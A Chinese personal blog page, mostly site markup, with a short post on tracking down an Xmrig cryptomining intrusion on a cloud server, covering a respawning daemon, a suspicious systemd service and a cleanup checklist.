style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Xmrig挖矿入侵服务器排查</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-7e13a286a2754f48b9d0416c9b1368ce"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-ada1daa99ec145469254ddf3e5ad8162"><a href="#861b8d3cc4f14ecea760e9d0eddd8e90" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#25a26dc565f84e1f85c6c3d3c9958af5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">问题</span></a><a href="#a79c184eb4b140be9b0c8ac739647018" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">排查思路</span></a><a href="#26d7cf25e01042fca17af41bf5810199" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#9213b7772c2f495989fe83076a290465" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-861b8d3cc4f14ecea760e9d0eddd8e90" data-id="861b8d3cc4f14ecea760e9d0eddd8e90"><span><div id="861b8d3cc4f14ecea760e9d0eddd8e90" class="notion-header-anchor"></div><a class="notion-hash-link" href="#861b8d3cc4f14ecea760e9d0eddd8e90" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-d666b2294f444e5493329bea24a143f4"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">叮咚!阿里云提示你,你的服务器正在被攻击!</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-25a26dc565f84e1f85c6c3d3c9958af5" data-id="25a26dc565f84e1f85c6c3d3c9958af5"><span><div id="25a26dc565f84e1f85c6c3d3c9958af5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#25a26dc565f84e1f85c6c3d3c9958af5" title="问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-660f94c60c584e6e8ae0d92e0bc1f5dd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F5a5eece4-6451-458c-bdb3-642896fe44e8%2FUntitled.png?table=block&amp;id=660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd&amp;t=660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-a79c184eb4b140be9b0c8ac739647018" data-id="a79c184eb4b140be9b0c8ac739647018"><span><div id="a79c184eb4b140be9b0c8ac739647018" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a79c184eb4b140be9b0c8ac739647018" title="排查思路"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排查思路</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-557aa53293be450aa95a57fe1fbef80c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F0c1d2d17-20c1-4e26-97f8-697d634eefda%2FUntitled.png?table=block&amp;id=557aa532-93be-450a-a95a-57fe1fbef80c&amp;t=557aa532-93be-450a-a95a-57fe1fbef80c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-513bf27714f240df9fe55d5e66266ad1">不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f61d051901a1478e80c735c9118bc24d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F3f5c325a-22bb-4012-a104-25e90a12e09a%2FUntitled.png?table=block&amp;id=f61d0519-01a1-478e-80c7-35c9118bc24d&amp;t=f61d0519-01a1-478e-80c7-35c9118bc24d" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-dfa778c022eb460f91da4c9e89100d07">额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8706dccea26a4928a907a8d5f6dbad7e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca%2FUntitled.png?table=block&amp;id=8706dcce-a26a-4928-a907-a8d5f6dbad7e&amp;t=8706dcce-a26a-4928-a907-a8d5f6dbad7e" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-cf3a69ecdc8f4808803489fe5bd29d14">最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-723a182a626b4c3aa918e190ff211798"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fa078109a-f42d-4a2b-8f84-8a810cf1fead%2FUntitled.png?table=block&amp;id=723a182a-626b-4c3a-a918-e190ff211798&amp;t=723a182a-626b-4c3a-a918-e190ff211798" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-af73c0b0fefa4be8908d9f53434e90f1">发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-26d7cf25e01042fca17af41bf5810199" data-id="26d7cf25e01042fca17af41bf5810199"><span><div id="26d7cf25e01042fca17af41bf5810199" class="notion-header-anchor"></div><a class="notion-hash-link" href="#26d7cf25e01042fca17af41bf5810199" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h2><ul class="notion-list notion-list-disc notion-block-6ad39adaa5ba4717b358d1d013de7f01"><li>找被黑时间左右的所有文件一个一个排查</li></ul><ul class="notion-list notion-list-disc notion-block-6da1726b3b0144779f839c21240b1f03"><li>找文件关联pid</li></ul><ul class="notion-list notion-list-disc notion-block-c5b1e0c0edb345bc90d25fc97aadef92"><li>找pid关联fd,端口,ip等</li></ul><ul class="notion-list notion-list-disc notion-block-ac2e2b33c9394e51b645a75d92cefce2"><li>找相关service,排查异常servcie,定时任务全部停止</li></ul><ul class="notion-list notion-list-disc notion-block-bf3c5b4c2a2e4940814100e72adb8cd3"><li>持续观察cpu,网络等信息</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-9213b7772c2f495989fe83076a290465" data-id="9213b7772c2f495989fe83076a290465"><span><div id="9213b7772c2f495989fe83076a290465" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9213b7772c2f495989fe83076a290465" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-1f2fa6896444408e8982d97876cbaca9"><div class="notion-column notion-block-c7184f46708d4e2a842e86e0110aece0" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-68a0b662e72a470b95d5c904c3908fa2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=68a0b662-e72a-470b-95d5-c904c3908fa2&amp;t=68a0b662-e72a-470b-95d5-c904c3908fa2" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-27670dd31c08417c8df9ee69095a647e" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-e6f0418903e84eb78d83f52461442c69"><em>
 </em><b><em>        是在往前走就好</em></b><em>
         </em><em><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://bothsavage.github.io/archive">bothsavage.github.io</a></em><em>
 </em></div><div class="notion-blank notion-block-8800522e0ef940b9a37c26e5267758ab"> </div></div><div class="notion-spacer"></div><div class="notion-column notion-block-7759e27d65554cf4af7c92289e6b2a6f" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.4039855072463767)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1b7f549f8224432dbb0f63cab60c829e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:315px"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F3436ffe0-3684-445a-824f-2fd9fa5ad2a6%2FUntitled.png?table=block&amp;id=1b7f549f-8224-432d-bb0f-63cab60c829e&amp;t=1b7f549f-8224-432d-bb0f-63cab60c829e" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div></div><div class="notion-blank notion-block-8a913ceeee8946cda83ea3f02655f038"> </div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/240320-arthas"><i class="mr-1 fas fa-angle-double-left"></i>Arthas简单使用备忘录</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 